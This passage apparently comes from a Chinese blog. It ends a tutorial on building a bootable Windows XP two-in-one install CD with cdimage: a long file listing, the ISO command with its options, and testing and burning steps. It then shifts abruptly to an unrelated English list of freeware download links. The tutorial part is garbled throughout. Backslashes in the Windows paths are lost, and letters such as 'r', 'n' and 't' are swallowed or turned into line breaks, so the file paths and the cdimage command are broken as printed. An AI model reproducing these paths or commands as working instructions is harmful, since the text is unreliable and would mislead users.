  d:winxp
oothomekbdcz2.dll
  d:winxp
oothomekbdda.dll
  d:winxp
oothomekbddiv1.dll
  d:winxp
oothomekbddiv2.dll
  d:winxp
oothomekbddv.dll
  d:winxp
oothomekbdes.dll
  d:winxp
oothomekbdest.dll
  d:winxp
oothomekbdfa.dll
  d:winxp
oothomekbdfc.dll
  d:winxp
oothomekbdfi.dll
  d:winxp
oothomekbdfr.dll
  d:winxp
oothomekbdgae.dll
  d:winxp
oothomekbdgeo.dll
  d:winxp
oothomekbdgkl.dll
  d:winxp
oothomekbdgr.dll
  d:winxp
oothomekbdgr1.dll
  d:winxp
oothomekbdhe.dll
  d:winxp
oothomekbdhe220.dll
  d:winxp
oothomekbdhe319.dll
  d:winxp
oothomekbdheb.dll
  d:winxp
oothomekbdhela2.dll
  d:winxp
oothomekbdhela3.dll
  d:winxp
oothomekbdhept.dll
  d:winxp
oothomekbdhid.sy_
  d:winxp
oothomekbdhu.dll
  d:winxp
oothomekbdhu1.dll
  d:winxp
oothomekbdic.dll
  d:winxp
oothomekbdindev.dll
  d:winxp
oothomekbdinguj.dll
  d:winxp
oothomekbdinhin.dll
  d:winxp
oothomekbdinkan.dll
  d:winxp
oothomekbdinmar.dll
  d:winxp
oothomekbdinpun.dll
  d:winxp
oothomekbdintam.dll
  d:winxp
oothomekbdintel.dll
  d:winxp
oothomekbdir.dll
  d:winxp
oothomekbdit.dll
  d:winxp
oothomekbdit142.dll
  d:winxp
oothomekbdkaz.dll
  d:winxp
oothomekbdkyr.dll
  d:winxp
oothomekbdla.dll
  d:winxp
oothomekbdlt.dll
  d:winxp
oothomekbdlt1.dll
  d:winxp
oothomekbdlv.dll
  d:winxp
oothomekbdlv1.dll
  d:winxp
oothomekbdmon.dll
  d:winxp
oothomekbdne.dll
  d:winxp
oothomekbdnec.dll
  d:winxp
oothomekbdno.dll
  d:winxp
oothomekbdpl.dll
  d:winxp
oothomekbdpl1.dll
  d:winxp
oothomekbdpo.dll
  d:winxp
oothomekbdro.dll
  d:winxp
oothomekbdru.dll
  d:winxp
oothomekbdru1.dll
  d:winxp
oothomekbdsf.dll
  d:winxp
oothomekbdsg.dll
  d:winxp
oothomekbdsl.dll
  d:winxp
oothomekbdsl1.dll
  d:winxp
oothomekbdsp.dll
  d:winxp
oothomekbdsw.dll
  d:winxp
oothomekbdsyr1.dll
  d:winxp
oothomekbdsyr2.dll
  d:winxp
oothomekbdtat.dll
  d:winxp
oothomekbdth0.dll
  d:winxp
oothomekbdth1.dll
  d:winxp
oothomekbdth2.dll
  d:winxp
oothomekbdth3.dll
  d:winxp
oothomekbdtuf.dll
  d:winxp
oothomekbdtuq.dll
  d:winxp
oothomekbduk.dll
  d:winxp
oothomekbdur.dll
  d:winxp
oothomekbdurdu.dll
  d:winxp
oothomekbdus.dll
  d:winxp
oothomekbdusl.dll
  d:winxp
oothomekbdusr.dll
  d:winxp
oothomekbdusx.dll
  d:winxp
oothomekbduzb.dll
  d:winxp
oothomekbdvntc.dll
  d:winxp
oothomekbdycc.dll
  d:winxp
oothomekbdycl.dll
  d:winxp
oothomekd1394.dl_
  d:winxp
oothomekdcom.dl_
  d:winxp
oothomeksecdd.sys
  d:winxp
oothomel_intl.nl_
  d:winxp
oothomelbrtfdc.sy_
  d:winxp
oothomemountmgr.sy_
  d:winxp
oothomemraid35x.sy_
  d:winxp
oothome
tdetect.com
  d:winxp
oothome
tfs.sys
  d:winxp
oothome
tkrnlmp.ex_
  d:winxp
oothomeohci1394.sy_
  d:winxp
oothomeoprghdlr.sy_
  d:winxp
oothomepartmgr.sy_
  d:winxp
oothomepci.sy_
  d:winxp
oothomepciide.sy_
  d:winxp
oothomepciidex.sy_
  d:winxp
oothomepcmcia.sy_
  d:winxp
oothomeperc2.sy_
  d:winxp
oothomeperc2hib.sy_
  d:winxp
oothomeql1080.sy_
  d:winxp
oothomeql10wnt.sy_
  d:winxp
oothomeql12160.sy_
  d:winxp
oothomeql1240.sy_
  d:winxp
oothomeql1280.sy_
  d:winxp
oothome
amdisk.sy_
  d:winxp
oothome
eadme.htm
  d:winxp
oothomesbp2port.sy_
  d:winxp
oothomescsiport.sy_
  d:winxp
oothomeserenum.sy_
  d:winxp
oothomeserial.sy_
  d:winxp
oothomesetup.exe
  d:winxp
oothomesetupdd.sy_
  d:winxp
oothomesetupldr.bin
  d:winxp
oothomesetupreg.hiv
  d:winxp
oothomesfloppy.sy_
  d:winxp
oothomeslip.sy_
  d:winxp
oothomesparrow.sy_
  d:winxp
oothomespcmdcon.sys
  d:winxp
oothomespddlang.sy_
  d:winxp
oothomesq.txt
  d:winxp
oothomestreamip.sy_
  d:winxp
oothomesym_hi.sy_
  d:winxp
oothomesym_u3.sy_
  d:winxp
oothomesymc810.sy_
  d:winxp
oothomesymc8xx.sy_
  d:winxp
oothome ffsport.sy_
  d:winxp
oothome oside.sy_
  d:winxp
oothome xtsetup.si_
  d:winxp
oothomeultra.sy_
  d:winxp
oothomeusbccgp.sy_
  d:winxp
oothomeusbd.sy_
  d:winxp
oothomeusbhub.sy_
  d:winxp
oothomeusbohci.sy_
  d:winxp
oothomeusbport.sy_
  d:winxp
oothomeusbstor.sy_
  d:winxp
oothomeusbuhci.sy_
  d:winxp
oothomevga.sy_
  d:winxp
oothomevgaoem.fo_
  d:winxp
oothomeviaide.sy_
  d:winxp
oothomevideoprt.sy_
  d:winxp
oothomewin51
  d:winxp
oothomewin51ic
  d:winxp
oothomewmilib.sy_
  d:winxp
oothomedocs……
  d:winxp
oothomei386……
  d:winxp
oothomesupport……
  d:winxp
oothomesystem32
tdll.dll
  d:winxp
oothomesystem32smss.exe
  d:winxp
oothomevalueadd……
  d:winxp
ootwpro1394bus.sy_
  d:winxp
ootwpro1394vdbg.sy_
  d:winxp
ootwproabp480n5.sy_
  d:winxp
ootwproacpi.sy_
  d:winxp
ootwproacpiec.sy_
  d:winxp
ootwproadpu160m.sy_
  d:winxp
ootwproaha154x.sy_
  d:winxp
ootwproaic78u2.sy_
  d:winxp
ootwproaic78xx.sy_
  d:winxp
ootwproaliide.sy_
  d:winxp
ootwproamsint.sy_
  d:winxp
ootwproasc.sy_
  d:winxp
ootwproasc3350p.sy_
  d:winxp
ootwproasc3550.sy_
  d:winxp
ootwproatapi.sy_
  d:winxp
ootwproautorun.inf
  d:winxp
ootwproiosinfo.inf
  d:winxp
ootwproootfix.bin
  d:winxp
ootwproootfont.bin
  d:winxp
ootwproootvid.dl_
  d:winxp
ootwproc_936.nl_
  d:winxp
ootwprocbidf2k.sy_
  d:winxp
ootwprocd20xrnt.sy_
  d:winxp
ootwprocdfs.sy_
  d:winxp
ootwprocdrom.sy_
  d:winxp
ootwproclasspnp.sy_
  d:winxp
ootwprocmdide.sy_
  d:winxp
ootwprocpqarray.sy_
  d:winxp
ootwprodac2w2k.sy_
  d:winxp
ootwprodac960nt.sy_
  d:winxp
ootwprodisk.sy_
  d:winxp
ootwprodisk101
  d:winxp
ootwprodisk102
  d:winxp
ootwprodisk103
  d:winxp
ootwprodisk104
  d:winxp
ootwprodisk105
  d:winxp
ootwprodisk106
  d:winxp
ootwprodmboot.sy_
  d:winxp
ootwprodmio.sy_
  d:winxp
ootwprodmload.sy_
  d:winxp
ootwprodpti2o.sy_
  d:winxp
ootwprodrvmain.sdb
  d:winxp
ootwprofastfat.sy_
  d:winxp
ootwprofdc.sy_
  d:winxp
ootwproflpydisk.sy_
  d:winxp
ootwproftdisk.sy_
  d:winxp
ootwprohal.dl_
  d:winxp
ootwprohalaacpi.dl_
  d:winxp
ootwprohalacpi.dl_
  d:winxp
ootwprohalapic.dl_
  d:winxp
ootwprohalmacpi.dl_
  d:winxp
ootwprohalmps.dl_
  d:winxp
ootwprohalsp.dl_
  d:winxp
ootwprohidclass.sy_
  d:winxp
ootwprohidparse.sy_
  d:winxp
ootwprohidusb.sy_
  d:winxp
ootwprohpn.sy_
  d:winxp
ootwprohpt3xx.sy_
  d:winxp
ootwproi2omgmt.sy_
  d:winxp
ootwproi2omp.sy_
  d:winxp
ootwproi8042prt.sy_
  d:winxp
ootwproini910u.sy_
  d:winxp
ootwprointelide.sy_
  d:winxp
ootwproisapnp.sy_
  d:winxp
ootwprokbda1.dll
  d:winxp
ootwprokbda2.dll
  d:winxp
ootwprokbda3.dll
  d:winxp
ootwprokbdal.dll
  d:winxp
ootwprokbdarme.dll
  d:winxp
ootwprokbdarmw.dll
  d:winxp
ootwprokbdaze.dll
  d:winxp
ootwprokbdazel.dll
  d:winxp
ootwprokbdbe.dll
  d:winxp
ootwprokbdblr.dll
  d:winxp
ootwprokbdbr.dll
  d:winxp
ootwprokbdbu.dll
  d:winxp
ootwprokbdca.dll
  d:winxp
ootwprokbdclass.sy_
  d:winxp
ootwprokbdcr.dll
  d:winxp
ootwprokbdcz.dll
  d:winxp
ootwprokbdcz1.dll
  d:winxp
ootwprokbdcz2.dll
  d:winxp
ootwprokbdda.dll
  d:winxp
ootwprokbddiv1.dll
  d:winxp
ootwprokbddiv2.dll
  d:winxp
ootwprokbddv.dll
  d:winxp
ootwprokbdes.dll
  d:winxp
ootwprokbdest.dll
  d:winxp
ootwprokbdfa.dll
  d:winxp
ootwprokbdfc.dll
  d:winxp
ootwprokbdfi.dll
  d:winxp
ootwprokbdfr.dll
  d:winxp
ootwprokbdgae.dll
  d:winxp
ootwprokbdgeo.dll
  d:winxp
ootwprokbdgkl.dll
  d:winxp
ootwprokbdgr.dll
  d:winxp
ootwprokbdgr1.dll
  d:winxp
ootwprokbdhe.dll
  d:winxp
ootwprokbdhe220.dll
  d:winxp
ootwprokbdhe319.dll
  d:winxp
ootwprokbdheb.dll
  d:winxp
ootwprokbdhela2.dll
  d:winxp
ootwprokbdhela3.dll
  d:winxp
ootwprokbdhept.dll
  d:winxp
ootwprokbdhid.sy_
  d:winxp
ootwprokbdhu.dll
  d:winxp
ootwprokbdhu1.dll
  d:winxp
ootwprokbdic.dll
  d:winxp
ootwprokbdindev.dll
  d:winxp
ootwprokbdinguj.dll
  d:winxp
ootwprokbdinhin.dll
  d:winxp
ootwprokbdinkan.dll
  d:winxp
ootwprokbdinmar.dll
  d:winxp
ootwprokbdinpun.dll
  d:winxp
ootwprokbdintam.dll
  d:winxp
ootwprokbdintel.dll
  d:winxp
ootwprokbdir.dll
  d:winxp
ootwprokbdit.dll
  d:winxp
ootwprokbdit142.dll
  d:winxp
ootwprokbdkaz.dll
  d:winxp
ootwprokbdkyr.dll
  d:winxp
ootwprokbdla.dll
  d:winxp
ootwprokbdlt.dll
  d:winxp
ootwprokbdlt1.dll
  d:winxp
ootwprokbdlv.dll
  d:winxp
ootwprokbdlv1.dll
  d:winxp
ootwprokbdmon.dll
  d:winxp
ootwprokbdne.dll
  d:winxp
ootwprokbdnec.dll
  d:winxp
ootwprokbdno.dll
  d:winxp
ootwprokbdpl.dll
  d:winxp
ootwprokbdpl1.dll
  d:winxp
ootwprokbdpo.dll
  d:winxp
ootwprokbdro.dll
  d:winxp
ootwprokbdru.dll
  d:winxp
ootwprokbdru1.dll
  d:winxp
ootwprokbdsf.dll
  d:winxp
ootwprokbdsg.dll
  d:winxp
ootwprokbdsl.dll
  d:winxp
ootwprokbdsl1.dll
  d:winxp
ootwprokbdsp.dll
  d:winxp
ootwprokbdsw.dll
  d:winxp
ootwprokbdsyr1.dll
  d:winxp
ootwprokbdsyr2.dll
  d:winxp
ootwprokbdtat.dll
  d:winxp
ootwprokbdth0.dll
  d:winxp
ootwprokbdth1.dll
  d:winxp
ootwprokbdth2.dll
  d:winxp
ootwprokbdth3.dll
  d:winxp
ootwprokbdtuf.dll
  d:winxp
ootwprokbdtuq.dll
  d:winxp
ootwprokbduk.dll
  d:winxp
ootwprokbdur.dll
  d:winxp
ootwprokbdurdu.dll
  d:winxp
ootwprokbdus.dll
  d:winxp
ootwprokbdusl.dll
  d:winxp
ootwprokbdusr.dll
  d:winxp
ootwprokbdusx.dll
  d:winxp
ootwprokbduzb.dll
  d:winxp
ootwprokbdvntc.dll
  d:winxp
ootwprokbdycc.dll
  d:winxp
ootwprokbdycl.dll
  d:winxp
ootwprokd1394.dl_
  d:winxp
ootwprokdcom.dl_
  d:winxp
ootwproksecdd.sys
  d:winxp
ootwprol_intl.nl_
  d:winxp
ootwprolbrtfdc.sy_
  d:winxp
ootwpromountmgr.sy_
  d:winxp
ootwpromraid35x.sy_
  d:winxp
ootwpro
tdetect.com
  d:winxp
ootwpro
tfs.sys
  d:winxp
ootwpro
tkrnlmp.ex_
  d:winxp
ootwproohci1394.sy_
  d:winxp
ootwprooprghdlr.sy_
  d:winxp
ootwpropartmgr.sy_
  d:winxp
ootwpropci.sy_
  d:winxp
ootwpropciide.sy_
  d:winxp
ootwpropciidex.sy_
  d:winxp
ootwpropcmcia.sy_
  d:winxp
ootwproperc2.sy_
  d:winxp
ootwproperc2hib.sy_
  d:winxp
ootwproql1080.sy_
  d:winxp
ootwproql10wnt.sy_
  d:winxp
ootwproql12160.sy_
  d:winxp
ootwproql1240.sy_
  d:winxp
ootwproql1280.sy_
  d:winxp
ootwpro
amdisk.sy_
  d:winxp
ootwpro
eadme.htm
  d:winxp
ootwprosbp2port.sy_
  d:winxp
ootwproscsiport.sy_
  d:winxp
ootwproserenum.sy_
  d:winxp
ootwproserial.sy_
  d:winxp
ootwprosetup.exe
  d:winxp
ootwprosetupdd.sy_
  d:winxp
ootwprosetupldr.bin
  d:winxp
ootwprosetupreg.hiv
  d:winxp
ootwprosfloppy.sy_
  d:winxp
ootwproslip.sy_
  d:winxp
ootwprosparrow.sy_
  d:winxp
ootwprospcmdcon.sys
  d:winxp
ootwprospddlang.sy_
  d:winxp
ootwprostreamip.sy_
  d:winxp
ootwprosym_hi.sy_
  d:winxp
ootwprosym_u3.sy_
  d:winxp
ootwprosymc810.sy_
  d:winxp
ootwprosymc8xx.sy_
  d:winxp
ootwpro ffsport.sy_
  d:winxp
ootwpro oside.sy_
  d:winxp
ootwpro xtsetup.si_
  d:winxp
ootwproultra.sy_
  d:winxp
ootwprousbccgp.sy_
  d:winxp
ootwprousbd.sy_
  d:winxp
ootwprousbhub.sy_
  d:winxp
ootwprousbohci.sy_
  d:winxp
ootwprousbport.sy_
  d:winxp
ootwprousbstor.sy_
  d:winxp
ootwprousbuhci.sy_
  d:winxp
ootwprovga.sy_
  d:winxp
ootwprovgaoem.fo_
  d:winxp
ootwproviaide.sy_
  d:winxp
ootwprovideoprt.sy_
  d:winxp
ootwprowin51
  d:winxp
ootwprowin51ip
  d:winxp
ootwprowmilib.sy_
  d:winxp
ootwprodocs……
  d:winxp
ootwproi386……
  d:winxp
ootwprosupport……
  d:winxp
ootwprosystem32
tdll.dll
  d:winxp
ootwprosystem32smss.exe
  d:winxp
ootwprovalueadd……

  8. 制作ISO文件

  CDImage程序加“-o”参数优化后生成的镜像文件约为558 MB,我们假设将它存放在f:盘的根目录下,命令如下:
  d:winxpcdimage -lWinXP-2in1 -t09/05/2001,12:00:00 -g -h -j1 -o -m -bd:winxpw2kall.bin d:winxp
oot f:wxp-2in1.iso
  上述命令与生成Windows 2000的命令略有不同,各参数含义分别为:
  -l:设置光盘卷标。此处为“WinXP-2in1”。
  -t:设置光盘上所有文件的生成日期。此处为“2001年9月5日格林威治时间(GMT)上午12点整”。
  -g:转换本地时间与格林威治时间(GMT)。但如果是在Windows XP系统下,该参数似乎不起作用,“-t”参数指定的是GMT时间,而文件的生成时间是“-t”指定的时间加上时区转换后的本地时间。如,上例中的文件生成本地时间是“20:00:00”,即GMT+8=北京时间。
  -h:包含隐藏的目录和文件。
  -j1:编码Joliet文件名,并兼容DOS的8.3格式文件名。
  -o:优化相同的文件,最重要的参数,这是我们将3个版本的1.02 GB文件压缩到558 MB的关键。
  -m:允许生成的ISO文件超过640 MB。
  -b:光盘启动引导程序,此处我们使用了w2kall.bin。
  d:winxp
oot:源文件路径,将作为光盘的根目录。
  f:wxp-2in1.iso:最后生成的ISO文件,我们要的就是它。
  要点:cdimage /?可显示所有选项。CDImagegui提供了一个图形界面,使用更直观,功能是一样的。

  9. 测试ISO文件

  用VMware加载wxp-2in1.iso文件,设置第1启动设备为光驱。从光盘启动后,系统首先显示信息“Press any key to boot from CD.”,按任意键后,出现[A]、[B]2个选项菜单,键入A、B键然后回车,可启动相应安装版本,键入C键然后回车,可安装家庭版。此后的安装与原版光盘的安装一致。需要逐个安装,以测试各个版本的完整性。

  10. 增加特殊文件

  可以根据个人的爱好,在光盘上再增加一些特殊文件,只需将其复制到d:winxp
oot目录下,并重新制作ISO文件。

  11.烧录光盘

  ISO镜像文件测试无误后,即可用自己熟悉的软件(例如Nero)将其烧录到光盘。 这样,一张可启动的Windows XP 2合1光盘就制作完成了。同样,需要测试这张CD,最好的办法就是用它逐个安装一遍。

四、特色点评

  优点:与街面上流行的Windows 2000/XP n合1光盘相比,上述方法制作的光盘目录结构更简洁,没有一个多余的文件,不需要diskem1x引导程序,不需要重新制作启动菜单,不需要为每个版本分别准备不同的引导文件,针对性更强。
  缺点:只针对Windows 2000/XP系列,最多只能包含3个版本,无法制作出漂亮的彩色菜单。

3D Graphics:
3Delight Free – http://www.3delight.com/index.htm
Anim8or – http://www.anim8or.com/
Aqsis – http://www.aqsis.com/
Blender – http://www.blender3d.org/
Houdini (Free Edition) – http://www.sidefx.com/apprentice/index.html
Maya Personal Learning Ed. – http://www.alias.com/eng/products-services…_maya_ple.shtml
Now3D – http://digilander.libero.it/giulios/Eng/homepage.htm
OpenFX – http://www.openfx.org
POV-Ray – http://www.povray.org/
SOFTIMAGE|XSI EXP – http://www.softimage.com/products/exp/v3/
Terragen – http://www.planetside.co.uk/terragen/
Toxic – http://www.toxicengine.org/
Wings 3D – http://www.wings3d.com/

Anti-Virus:
a-squared – http://www.emsisoft.com/en/software/free/
AntiVir – http://www.free-av.com/
Avast – http://www.avast.com/i_idt_1018.html
AVG – http://free.grisoft.com/
BitDefender – http://www.bitdefender.com
ClamWin – http://www.clamwin.com/

Anti Spyware:
Ad-aware – http://www.lavasoft.de/software/adaware/
Bazooka – http://www.kephyr.com/spywarescanner/index.html
CWShredder – http://www.intermute.com/spysubtract/cwshr…r_download.html
Hijackthis – http://www.spywareinfo.com/~merijn/downloads.html
Microsoft AntiSpyware – http://www.microsoft.com/athome/security/s…re/default.mspx
SpyBot Search & Destroy – http://spybot.safer-networking.de/
SpywareBlaster – http://www.javacoolsoftware.com/spywareblaster.html
SpywareGuard – http://www.wilderssecurity.net/spywareguard.html
WinPatrol – http://www.winpatrol.com/

Audio Creation
Gungirl Sequencer – http://ggseq.sourceforge.net/pmwiki.php/Main/HomePage
HammerHead – http://www.threechords.com/hammerhead/introduction.shtml
Jesusonic – http://www.jesusonic.com/soft.php
KRISTAL Audio Engine – http://www.kreatives.org/kristal/index.php
orDrumbox – http://ordrumbox.sourceforge.net/
Tu2 – http://www.brambos.com/news.html

Audio Players:
1by1 – http://www.rz.uni-frankfurt.de/~pesch
Billy – http://www.sheepfriends.com/?page=billy
CoolPlayer – http://coolplayer.sourceforge.net/
DeejaySystem MK1 – http://www.deejaysystem.com/prod_mk1.asp
DeliPlayer. http://www.deliplayer.com/
Foobar 2000 – http://www.foobar2000.org/
iTunes – http://www.apple.com/itunes/
Jet Audio Basic – http://www.jetaudio.com/
Mixere – http://mixere.sourceforge.net/
Mixxx – http://mixxx.sourceforge.net/
monoRAVEik – http://www.mono211.com/monoraveik/mr1200.html
MoreAmp – http://sourceforge.net/projects/moreamp/
Musik – http://musik.berlios.de/
musikCube – http://www.musikcube.com/
QCD Player – http://www.quinnware.com/
Sonique – http://sonique.lycos.com/
Winamp – http://www.winamp.com/
XMPlay – http://www.un4seen.com/xmplay.html
Zinf – http://www.zinf.org/

Audio Tools:
Audacity – http://audacity.sourceforge.net/
AudioShell – http://www.softpointer.com/AudioShell.htm
BeSweet – http://dspguru.doom9.net/
CDex – http://cdexos.sourceforge.net/
dBpowerAMP Music Converter – http://www.dbpoweramp.com/dmc.htm
EAC – http://www.exactaudiocopy.de/
Encounter 2003 – http://www.waschbusch.com/
GermaniXEncoder – http://www.germanixsoft.de/
K-MP3 – http://www.katarncorp.com/
KraMixer – http://www.kramware.com/
MP3 Book Helper – http://mp3bookhelper.sourceforge.net/
MP3 Tag – http://www.mp3tag.de/
Mp3 Tag Tools – http://massid3lib.sourceforge.net/
mp3DirectCut – http://www.rz.uni-frankfurt.de/~pesch/
MP3Gain – http://www.geocities.com/mp3gain/
mp3Trim – http://www.logiccell.com/~mp3trim/
MusicBrainz – http://musicbrainz.org/
Rarewares – http://rarewares.hydrogenaudio.org/
SoundEngine Free – http://www.cycleof5th.com/en/index.htm
TagScanner – http://xdev.narod.ru/tagscan_e.htm
The GodFather – http://users.otenet.gr/~jtcliper/tgf/
TigoTago – http://www.tigotago.com/

CD/DVD Burning:
Burn4Free – http://www.burn4free.com/
Burnatonce – http://www.burnatonce.com/
Burrrn – http://www.burrrn.net/
CDBurnerXP – http://www.cdburnerxp.se/
CDRDAO – http://cdrdao.sourceforge.net/
CDR Tools Frontend – http://demosten.com/cdrfe/
Deepburner – http://www.deepburner.com/
DVD Decrypter: http://www.dvddecrypter.com/
Easy Burning, DropCD & Audio CDhttp://www.paehl.de/cdr
ImgBurn – http://www.imgburn.com/

Compression / Decompression:
7-zip – http://www.7-zip.org/
bzip2 – http://sources.redhat.com/bzip2/index.html
ExtractNow – http://www.extractnow.com/
FilZip – http://www.filzip.com/
Info-Zip – http://www.info-zip.org/
IZArc – http://www.florida.plus.com/izarc/
QuickZip – http://www.quickzip.org/
TUGZip – http://www.tugzip.com/
UPX – http://upx.sourceforge.net/
Zip&Go – http://www.handybits.com/zipngo.htm
Zipgenius – http://www.zipgenius.it/

Defrag Software:
DIRMS & Buzzsaw – http://www.dirms.com/
OpenVMS – http://www.execsoft.com/freeware/freeware.asp

Desktop Enhancements:
AveDesk – http://www.aqua-soft.org/board/showthread.php?t=17372
CursorXP – http://www.stardock.com/products/cursorxp/download.html
Desktop Sidebar – http://www.desktopsidebar.com/
Filehand – http://www.filehand.com/
Glass2k – http://www.chime.tv/products/glass2k.shtml
Kapsules – http://kapsules.shellscape.org/
Konfabulator – http://www.konfabulator.com/info
Lost Goggles – http://www.lostgoggles.com/
MobyDock – http://www.mobydock.com/
Panorama – http://www.ivory.org/panorama.html
Rainlendar – http://www.ipi.fi/~rainy/index.php?pn=proj…ject=rainlendar
RunFast – http://www.idiogensoftware.com/runfast/index.htm
Samurize – http://www.samurize.com/
SlickRun – http://www.bayden.com/SlickRun/
Snippy – http://www.bhelpuri.net/Snippy/
TaskSwitchXP Pro – http://www.ntwind.com/taskswitchxp/
tclock2 – http://home.inreach.com/2tone/tclock2/tclock2.htm
Trip – http://trip.glenmurphy.com/
Weather Watcher – http://www.singerscreations.com/
WinRoll – http://www.palma.com.au/winroll/

Download managers:
Free Download Manager – http://www.freedownloadmanager.org/
Fresh Download – http://www.freshdevices.com/freshdown.html
LeechGet – http://www.leechget.net/en/
Retriever – http://www.halogenware.com/software/retriever.html
Star Downloader – http://www.stardownloader.com/downloads.php
Sun Download Manager – http://www.sun.com/download/sdm/index.xml
wackget – http://millweed.com/projects/wackget/
wget – http://xoomer.virgilio.it/hherold/
WellGet – http://www.wellget.com/

Encryption and data security:
Axcrypt – http://axcrypt.sourceforge.net/
Blowfish Advanced CS- http://web.bsn.ch/lasse/bfacs.htm
Eraser – http://www.heidi.ie/eraser/default.php
File Shredder – http://www.sys-shield.com/fileshredder.htm
KeePass – http://keepass.sourceforge.net/
GnuPG – http://www.gnupg.org/
PGP Freeware – http://www.pgp.com/products/freeware.html
PicoCrypt – http://picofactory.com/picocrypt.html
TrueCrypt – http://www.truecrypt.org/
WindowsCleaner – http://www.winnowsoft.com/internet-eraser.htm

File Managers:
2xExplorer – http://netez.com/2xExplorer/
A43 – http://www.shawneelink.net/~bgmiller/
ExplorerXP – http://www.explorerxp.com
freeCommander – http://www.freecommander.com/index_en.htm
Gyula‘s Navigator – http://www.wanari.com/
JExplorer – http://home.megapass.co.kr/~woosjung/
MeeSoft Commander – http://meesoft.logicnet.dk/

File repair and recovery:
PC Inspector File Recovery – http://www.pcinspector.de/file_recovery/UK/welcome.htm

Firewalls:
Jetico Personal Firewall – http://www.jetico.com/index.htm#/jpfirewall.htm
Kerio (Kerio Personal Firewall is FREE for home and personal use) – http://www.kerio.com/kpf_home.html
NetVida Safetynet – http://www.netveda.com/consumer/safetynet.htm
Outpost Firewall (version 1 is free) – http://www.agnitum.com/download/outpost1.html
SoftPerfect Personal Firewall – http://www.softperfect.com/products/firewall/
Sygate – http://smb.sygate.com/products/spf_standard.htm
Wyvern Firewall 2004 – http://www.wyvernworks.com/firewall.html
Zonealarm Basic firewall –

http://www.zonelabs.com/store/content/comp…reeDownload.jsp

FTP Clients:
CoreFTP – http://www.coreftp.com/
Filezilla – http://sourceforge.net/projects/filezilla
miFiles – http://www.simdata.com.au/mifiles.html
SmartFTP – http://www.smartftp.com/

FTP Servers:
Cerberus – http://www.cerberusftp.com/
FileZilla – http://filezilla.sourceforge.net/
Golden FTP Server – http://www.goldenftpserver.com
GuildFTPD – http://www.totalshareware.com/asp/detail_v…pplication=8334
Quick ‘n Easy FTP Server – http://www.pablovandermeer.nl/ftp_server.html
SlimFTPd – http://www.whitsoftdev.com/slimftpd
TYPSoft FTP Server – http://en.typsoft.com/
WarFTPD – http://www.jgaa.com/

HTML Editors:
1st page 2000 – http://www.evrsoft.com/download.shtml
AceHTML – http://freeware.acehtml.com/download.html
Aracnophilia – http://www.arachnoid.com/arachnophilia/
FoxEditor – http://foxeditor.sourceforge.net/
HTML-Kit – http://www.chami.com/html-kit/
NVU – http://www.nvu.com/index.html
Selida – http://www.amaryllis.8m.com/
Trellian webPAGE – http://webpage.vendercom.com/
TSW WebCoder – http://www.tsware.net/
WYSIWYG Web Builder –

http://www.pablosoftwaresolutions.com/html…eb_builder.html

Image viewers:
Ahaview – http://www.aha-soft.com/ahaview/ahaviewfree.exe
FastStone Image Viewer – http://www.faststone.org/FSViewerDetail.htm
Irfanview – http://www.irfanview.com/
Picasa – http://www.picasa.com/content/download.php
Shell Extension – http://www.firmtools.com/products/shellextension/
SlowView – http://www.slowview.at/
XNView – http://www.xnview.com/

Instant Messengers:
AMSN – http://amsn.sourceforge.net/index.php
Gaim – http://gaim.sourceforge.net/
Google Talk – http://www.google.com/talk/
IM2: http://www.im2.com
Mercury Messenger – http://www.mercury.to/
Miranda IM – http://www.miranda-im.org/
Pandion – http://www.pandion.be/
PSI – http://psi.affinix.com/
qip – http://www.qip.ru/
Skype – http://www.skype.com/
SIM – http://sim-icq.sourceforge.net/
TerraIM – http://terraim.sourceforge.net/
Trillian Basic – http://trillian.cc/downloads

Internet Explorer Front-Ends:
AM Browser – http://www.ambrowser.com/
AOL Browser – http://beta.aol.com/projects/aolbrowser/
Avantbrowser – http://www.avantbrowser.com/
Maxthon – http://www.maxthon.com/
SlimBrowser – http://www.flashpeak.com/sbrowser/sbrowser.htm

IRC Clients:
BersIRC – http://www.bersirc.com/
BitchX – http://bitchx.org/download.php
HydraIRC – http://www.hydrairc.com/
NodeIRC – http://node.sourceforge.net/
TinyIRC – http://www.tinyirc.net/
XChat – http://www.silverex.org/news/

Mail programs:
Foxmail – http://fox.foxmail.com.cn/english/
i.Scribe – http://www.memecode.com/
Mahogany Mail – http://mahogany.sourceforge.net/
Pegasus Mail – http://www.pmail.com/
PopTray – http://www.poptray.org/
Thunderbird – http://www.mozilla.org/projects/thunderbird/

Anti-spam programs:
K9 – http://www.keir.net/k9.html
MailWasher- http://www.mailwasher.net/
POPFile – http://popfile.sourceforge.net/
SpamBayes – http://spambayes.sourceforge.net/
SpamPal – http://www.spampal.org/

Network Tools:
CMDTime NTP Utility – http://www.softshape.com/download/
Ethereal Protocol Analyzer – http://www.ethereal.com/
Gencontrol – http://www.gensortium.com/products/gencontrol.html
hamachi – http://www.hamachi.cc/
NetMeter – http://readerror.gmxhome.de/
NetProfiles – http://netprofiles.danielmilner.com/
NMap – http://www.insecure.org/nmap/
Ntop – http://www.ntop.org
PingPlotter – http://www.pingplotter.com
PuTTY – http://www.chiark.greenend.org.uk/~sgtatham/putty
RAS Graph & Stats – http://forum.flashfxp.com/showthread.php?s=&threadid=2400
RealVNC – http://www.realvnc.com/
TightVNC – http://www.tightvnc.org/
Ultr@VNC – http://ultravnc.sourceforge.net/
WinSCP – http://www.winscp.com/

Office Suite:
602PC Suite free edition – http://www.software602.com/products/pcs/download.html
AbiWord – http://www.abiword.com/
OpenOffice.org – http://www.openoffice.org/
qjot – http://www.xtort.net/xtort/qjot.php
TreeDBNotes – http://www.softviewer.com/treedbnotes/free_index.htm

Partition Managers:
Partition Resizer – http://zeleps.com/
Ranish Partition Manager – http://www.ranish.com/part/
SwissKnife – http://www.compuapps.com/Download/swissknife/swissknife.htm
TestDisk – http://www.cgsecurity.org/index.html?testdisk.html

PDF Utilities:
CutePDF – http://www.cutepdf.com/Products/CutePDF/writer.asp
Foxit PDF Reader – http://www.foxitsoftware.com/pdf/rd_intro.php
Free PDF – http://www.webxd.com/zipguy/frpdfdl.htm
Ghostscript/GSView – http://www.ghostscript.com/
PDF 995 – http://www.pdf995.com/
PDFCreator – http://sourceforge.net/projects/pdfcreator/
PrimoPDF – http://www.primopdf.com/

Photo manipulation and image design:
ArtRage – http://www.ambientdesign.com/artrage.html
Artweaver – http://www.artweaver.de/index.php?en_version
ColorPic – http://www.iconico.com/colorpic/
Deep Paint – http://www.download.com/Deep-Paint/3000-21…tml?tag=lst-2-7
Delineate – http://delineate.sourceforge.net/
iIco – http://www.mintrasystems.com/world/product…duct.php?p=iico
